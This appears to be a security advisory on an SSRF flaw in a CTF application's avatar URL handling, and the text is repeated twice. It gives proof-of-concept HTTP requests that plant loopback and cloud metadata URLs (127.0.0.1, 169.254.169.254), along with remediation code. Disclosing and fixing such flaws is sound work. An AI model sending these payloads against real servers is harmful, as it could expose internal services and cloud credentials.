[Vulnerability] Security Bypass in Profile Update leads to Server-Side Request Forgery (SSRF) via Insecure Avatar URLs
Summary
A security validation bypass exists in the user profile update router (finbot/apps/ctf/routes/profile.py). A user can bypass the HTTPS URL validation check and inject arbitrary URL schemes (such as http://, internal/loopback IP addresses, or local services) into their avatar_url database field.
When the backend generates user share cards at the /share/profile/{username}/card.png endpoint, it executes a server-side httpx.get request to the user's avatar URL. This allows an attacker to perform a blind Server-Side Request Forgery (SSRF) attack, potentially mapping local services, scanning ports, or querying cloud metadata endpoints (e.g. 169.254.169.254).
Affected Code & Files
- Validation Bypass: finbot/apps/ctf/routes/profile.py
- SSRF Execution: finbot/apps/ctf/routes/share.py
Vulnerability Details & Root Cause
1. The Validation Bypass
In the ProfileUpdateRequest Pydantic schema, the avatar_type and avatar_url fields are optional:
class ProfileUpdateRequest(BaseModel):
username: str | None = Field(None, min_length=3, max_length=20)
avatar_type: str | None = Field(None, pattern="^(emoji|gravatar|url)$")
avatar_url: str | None = Field(None, max_length=500)
...
When handling updates, the route enforces that avatar URLs must use https://:
# Validate avatar_url if switching to url type
if request.avatar_type == "url" and request.avatar_url:
if not request.avatar_url.startswith("https://"):
raise HTTPException(status_code=400, detail="Avatar URL must use HTTPS")
The Issue: This check only triggers if request.avatar_type is explicitly sent as "url" in the incoming request payload.
If a user already has an active profile where the avatar_type is saved as "url" in the database, they can send a subsequent update request containing only avatar_url (omitting avatar_type entirely):
- The
if request.avatar_type == "url" and request.avatar_url: statement evaluates to False (because request.avatar_type is None / omitted).
- The
https:// validation check is completely skipped.
- The repository proceeds to save the insecure
avatar_url (e.g., http://127.0.0.1:8500/status or http://169.254.169.254/latest/meta-data/) to the database.
2. The SSRF Attack Vector
When anyone requests the user's profile card at /share/profile/{username}/card.png, the backend attempts to fetch and base64-encode the avatar image:
# finbot/apps/ctf/routes/share.py
async def _fetch_avatar_b64(url: str) -> str:
try:
async with httpx.AsyncClient(timeout=5.0, follow_redirects=True) as client:
resp = await client.get(url)
...
The server issues an out-of-band httpx.get request directly to the insecure URL, enabling SSRF.
Proof of Concept (PoC)
- Set up a user profile with the avatar type initially set to
url:
PUT /api/v1/profile HTTP/1.1
Content-Type: application/json
{
"avatar_type": "url",
"avatar_url": "https://secure-avatar.com/image.png"
}
- Trigger the validation bypass by updating only the
avatar_url field with an insecure HTTP loopback address (omitting avatar_type):
PUT /api/v1/profile HTTP/1.1
Content-Type: application/json
{
"avatar_url": "http://127.0.0.1:8500/internal-status"
}
The server responds with 200 OK, successfully writing the insecure URL to the database.
- Retrieve the profile share card to trigger the SSRF:
GET /share/profile/{your_username}/card.png HTTP/1.1
The server makes a backend HTTP request to the internal loopback address http://127.0.0.1:8500/internal-status.
Proposed Remediation
Enforce the https:// validation in the route logic based on the effective avatar type (the incoming value if provided, falling back to the database value if omitted). Furthermore, https:// alone is insufficient to prevent SSRF against loopback IPs or cloud metadata endpoints. A robust two-layer defense is required:
Layer 1: DNS/IP Blocklist in profile.py
Implement a blocklist using ipaddress and socket to resolve the hostname and ensure it does not map to private, link-local, or loopback IPs (e.g., 127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8).
def is_ssrf_safe(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme != "https":
return False
try:
host = parsed.hostname
if not host:
return False
ip = ipaddress.ip_address(socket.gethostbyname(host))
return not any(ip in net for net in BLOCKED_NETWORKS)
except Exception:
return False
Validate the URL in the route logic using this function:
effective_avatar_type = request.avatar_type or profile.avatar_type
effective_avatar_url = request.avatar_url or profile.avatar_url
if effective_avatar_type == "url" and effective_avatar_url:
if not is_ssrf_safe(effective_avatar_url):
raise HTTPException(status_code=400, detail="Invalid Avatar URL: Only public HTTPS URLs are allowed")
Layer 2: Disable Redirects in share.py
To prevent redirect-based SSRF (where an attacker provides a public URL that issues a 302 Found to 127.0.0.1), configure the httpx.AsyncClient to disable automatic redirects:
try:
async with httpx.AsyncClient(timeout=5.0, follow_redirects=False) as client:
resp = await client.get(url)
[Vulnerability] Security Bypass in Profile Update leads to Server-Side Request Forgery (SSRF) via Insecure Avatar URLs
Summary
A security validation bypass exists in the user profile update router (
finbot/apps/ctf/routes/profile.py). A user can bypass the HTTPS URL validation check and inject arbitrary URL schemes (such ashttp://, internal/loopback IP addresses, or local services) into theiravatar_urldatabase field.When the backend generates user share cards at the
/share/profile/{username}/card.pngendpoint, it executes a server-sidehttpx.getrequest to the user's avatar URL. This allows an attacker to perform a blind Server-Side Request Forgery (SSRF) attack, potentially mapping local services, scanning ports, or querying cloud metadata endpoints (e.g.169.254.169.254).Affected Code & Files
Vulnerability Details & Root Cause
1. The Validation Bypass
In the
ProfileUpdateRequestPydantic schema, theavatar_typeandavatar_urlfields are optional:When handling updates, the route enforces that avatar URLs must use
https://:The Issue: This check only triggers if
request.avatar_typeis explicitly sent as"url"in the incoming request payload.If a user already has an active profile where the
avatar_typeis saved as"url"in the database, they can send a subsequent update request containing onlyavatar_url(omittingavatar_typeentirely):if request.avatar_type == "url" and request.avatar_url:statement evaluates toFalse(becauserequest.avatar_typeisNone/ omitted).https://validation check is completely skipped.avatar_url(e.g.,http://127.0.0.1:8500/statusorhttp://169.254.169.254/latest/meta-data/) to the database.2. The SSRF Attack Vector
When anyone requests the user's profile card at
/share/profile/{username}/card.png, the backend attempts to fetch and base64-encode the avatar image:The server issues an out-of-band
httpx.getrequest directly to the insecure URL, enabling SSRF.Proof of Concept (PoC)
url:PUT /api/v1/profile HTTP/1.1 Content-Type: application/json { "avatar_type": "url", "avatar_url": "https://secure-avatar.com/image.png" }avatar_urlfield with an insecure HTTP loopback address (omittingavatar_type):PUT /api/v1/profile HTTP/1.1 Content-Type: application/json { "avatar_url": "http://127.0.0.1:8500/internal-status" }200 OK, successfully writing the insecure URL to the database.GET /share/profile/{your_username}/card.png HTTP/1.1http://127.0.0.1:8500/internal-status.Proposed Remediation
Enforce the
https://validation in the route logic based on the effective avatar type (the incoming value if provided, falling back to the database value if omitted). Furthermore,https://alone is insufficient to prevent SSRF against loopback IPs or cloud metadata endpoints. A robust two-layer defense is required:Layer 1: DNS/IP Blocklist in
profile.pyImplement a blocklist using
ipaddressandsocketto resolve the hostname and ensure it does not map to private, link-local, or loopback IPs (e.g.,127.0.0.0/8,169.254.0.0/16,10.0.0.0/8).Validate the URL in the route logic using this function:
Layer 2: Disable Redirects in
share.pyTo prevent redirect-based SSRF (where an attacker provides a public URL that issues a
302 Foundto127.0.0.1), configure thehttpx.AsyncClientto disable automatic redirects: